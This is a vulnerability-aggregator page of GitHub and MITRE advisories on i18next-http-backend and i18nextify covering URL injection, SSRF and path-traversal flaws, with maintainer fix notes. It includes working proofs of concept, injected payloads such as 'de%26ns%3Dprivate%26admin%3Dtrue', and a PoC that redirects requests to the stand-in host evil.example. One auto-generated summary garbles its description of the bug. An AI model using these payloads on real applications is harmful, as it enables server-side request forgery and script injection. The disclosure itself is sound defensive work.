Where
-Infinity
0
Severity
3.7
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.

Server side (Express + i18next-http-middleware, default options), GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue makes the application request …?lng=de&ns=private&admin=true&ns=common from its own translations API.

Details

The checks are in lib/utils.js. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:

- empty or >128-character values and prototype keys; - .. and \; - /[?#%:\s]/; - control characters.

isSafeLangUrlSegment (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only / and @. Neither function rejects & or =.

js if (/[?#%:\s]/.test(v)) return false // utils.js L40, no & or =

interpolateUrl then splits on +, checks each segment, and joins the raw segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).

Call sites:

- readAny builds the load URL with interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64 - create builds the missing-key URL with interpolateUrl(addPath, { lng, ns }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133

The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.

Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.

Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.

Proof of concept

How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):

1. mkdir i18next-poc && cd i18next-poc 2. npm init -y 3. npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0 4. Save the script below as poc.mjs 5. node poc.mjs

js // i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts // {{lng}} in the query string (README multiload shape) gets extra parameters. // Everything runs on 127.0.0.1: a fake translations API and an Express app. import http from 'node:http' import express from 'express' import i18next from 'i18next' import Backend from 'i18next-http-backend' import middleware from 'i18next-http-middleware'

const seen = [] const api = http.createServer((req, res) => { seen.push(req.url) res.setHeader('content-type', 'application/json') res.end('{"hello":"hi"}') }) await new Promise((r) => api.listen(0, '127.0.0.1', r)) const loadPath = http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}} const wait = () => new Promise((r) => setTimeout(r, 200))

// 1) Direct: lng values passed to i18next as-is. console.log('[1] direct init') for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) { seen.length = 0 await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } }) console.log( lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}) }

// 2) Server side: language taken from the request by i18next-http-middleware (default options). console.log('[2] Express + i18next-http-middleware LanguageDetector') const i18n = i18next.createInstance() await i18n.use(Backend).use(middleware.LanguageDetector) .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } }) const app = express() app.use(middleware.handle(i18n)) app.get('/', (req, res) => res.send(req.t('hello'))) const web = app.listen(0, '127.0.0.1') await new Promise((r) => web.on('listening', r)) await wait() for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) { seen.length = 0 await fetch(http://127.0.0.1:${web.address().port}/?lng=${q}).then((r) => r.text()) await wait() console.log( GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}) } web.close() api.close()

Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):

[1] direct init lng="de" -> API got: /locales/resources.json?lng=de&ns=common lng="de?admin=true" -> API got: (no request, refused) lng="de&ns=private&admin=true" -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common [2] Express + i18next-http-middleware LanguageDetector GET /?lng=de -> API got: /locales/resources.json?lng=de&ns=common GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common

The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.

Impact

This is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:

- Server side (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (ns, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour. - Browser side: a crafted link (?lng=…) does the same to the victim's same-origin request.

Applications using the default path template /locales/{{lng}}/{{ns}}.json, or a supportedLngs allowlist, are not affected.

credit to Adrian Korwel.

Maintainer note

Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).

Preconditions. The loadPath / addPath template must put {{lng}} or {{ns}} in the query string (for example /locales/resources.json?lng={{lng}}&ns={{ns}}, the multiload shape), and the attacker must control the language or namespace value. The default /locales/{{lng}}/{{ns}}.json and other path-only templates are not affected, nor are applications that restrict languages with supportedLngs. The impact depends on what the translations API does with the injected parameters.

Fix. &, = and ; are now rejected in both lng and ns values, in addition to the ?, #, % and : rejected before. No language code or usable namespace name contains them. +-joined multiload values such as de+en keep working, verified end to end with i18next-multiload-backend-adapter.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.4.

Related. i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
XSS
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Affected versions Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Impact Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.2 maintainer note says templates with a leading / are safe. This case is outside that statement.

Root cause isSafeNsUrlSegment rejects any ns containing //, but allows a single leading / (needed for nested namespaces like a/b). Interpolation into /{{ns}}/... puts the template's own / next to the value's /. The result starts with //, which is a protocol-relative URL. The check runs on the value, not on the final URL.

Minimal PoC js import Backend from 'i18next-http-backend' const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json', request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } }) b.read('en', '/evil.example', () => {}) Observed on 4.0.2: POC ns=/evil.example loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json origin in page https://app.example/ = https://evil.example

Negative controls (same run) - ns //evil.example: rejected ("unsafe lng/ns value"). - lng http:127.0.0.1:9 (the GHSA-xvq9 payload): rejected. - ns common and nested ns a/b: common/en.json and a/b/en.json, same origin.

Suggested fix Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

Disclosure We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.

Re-verification Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.

Reported by Zachariah Mithani.

Maintainer note

Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).

Preconditions. The loadPath / addPath template must put {{ns}} directly after a leading / (for example /{{ns}}/{{lng}}.json), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default /locales/{{lng}}/{{ns}}.json, templates with an origin, and templates with a fixed path segment before {{ns}} are not affected. Only browsers are affected: in Node, fetch('//host/...') fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.

Fix. The 4.0.2 // check looked at each value on its own and could not see the / the template puts in front of it. interpolateUrl now also checks the interpolated URL: it may only start with // or \ if the template itself does. Protocol-relative CDN templates such as //cdn.example/{{lng}}/{{ns}}.json keep working.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.3.

Related. i18next-fs-backend had the same class of problem for file paths (a leading / in ns, or C: in lng, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.

1 / 3
Source: GitHub
First published (updated )
Severity
3.7
SSRF, Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL's structural beginning. This issue is fixed in version 4.0.2.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Copilot said: i18nextify is a JavaScript library that adds i18nextify is a JavaScript library that adds website internationalization via a script tag, without source code changes. Versions prior to 3.0.5 interpolate the lng and ns values directly into the configured loadPath / addPath URL template without any encoding, validation, or path sanitisation. When an application exposes the language-code selection to user-controlled input (the default — i18next-browser-languagedetector reads ?lng= query params, cookies, localStorage, and request headers), an attacker can inject characters that change the structure of the outgoing request URL. This is a single URL-injection vulnerability. The attacker-controlled value is neutralised before it is used as part of an output URL string; the attack shape covers both path traversal and broader URL-structure injection — both are closed by the one interpolateUrl sanitisation fix. This issue has been fixed in version 3.0.5. If users cannot upgrade immediately, they can work around the issue by sanitising lng / ns before they reach i18next (strip .., /, \, ?, #, %, whitespace, and control characters; cap the length).

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203